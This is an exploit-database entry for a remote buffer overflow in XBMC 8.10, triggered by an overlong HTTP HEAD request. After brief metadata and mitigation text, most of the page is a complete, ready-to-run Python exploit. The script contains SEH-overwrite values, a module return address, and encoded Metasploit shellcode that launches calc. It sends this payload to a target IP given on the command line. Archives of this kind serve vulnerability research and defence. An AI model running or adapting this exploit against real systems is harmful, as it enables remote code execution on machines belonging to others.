XBMC 8.10 (HEAD Request) Remote Buffer Overflow Exploit (SEH)

vendor:

XBMC

by:

His0k4

7.5

CVSS

HIGH

Buffer Overflow

Unknown

CWE

Product Name: XBMC

Affected Version From: XBMC 8.10

Affected Version To: XBMC 8.10

Patch Exists: NO

Related CWE: Unknown

CPE: Unknown

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2

Unknown

XBMC 8.10 (HEAD Request) Remote Buffer Overflow Exploit (SEH)

This exploit takes advantage of a buffer overflow vulnerability in XBMC 8.10. By sending a specially crafted HEAD request, an attacker can trigger a buffer overflow condition, potentially leading to remote code execution.

Mitigation:

Update to a patched version of XBMC to mitigate this vulnerability. Avoid opening suspicious files or clicking on unknown links.

Source

Exploit-DB raw data:

#!/usr/bin/python
#[*] Usage : exploit.py [victime_ip]
#[*] Bug : 	    XBMC 8.10 (HEAD Request) Remote Buffer Overflow Exploit (SEH)
#[*] Refer :        http://www.milw0rm.com/exploits/8354
#[*] Tested on :    Xp sp2 (fr)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com,secdz.com
#[*] Chi3arona houa : Serra7 merra7,koulchi mderra7 :D


import struct
import sys, socket 

host = sys.argv[1] 

buff1 = 'A'*998

Pointer_To_Next_SEH = struct.pack('<L',0x909006eb)

###
###This was found in the module zlib1 and is universal.
#62E83BAC   5B               POP EBX
#62E83BAD   5D               POP EBP
#62E83BAE  ^E9 CDD9FFFF      JMP zlib1.compressBound
SE_Handler = struct.pack('<L',0x62E83BAC)

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shell_code=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x33\x4b\x58\x4e\x37"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x48"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x52\x46\x50\x45\x57\x45\x4e\x4b\x38"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x58\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x53\x45\x58\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a"
"\x4b\x48\x4a\x56\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x43"
"\x48\x4f\x42\x36\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x55\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x36\x43\x36\x42\x30\x5a"
)
buff2 = 'B'*635

payload = buff1 + Pointer_To_Next_SEH + SE_Handler + shell_code + buff2

head  = "HEAD /"+payload+" HTTP/1.1\r\n"
head += "Host: "+host+"\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,80))
s.send(head + "\r\n\r\n")
s.close()

# milw0rm.com [2009-04-07]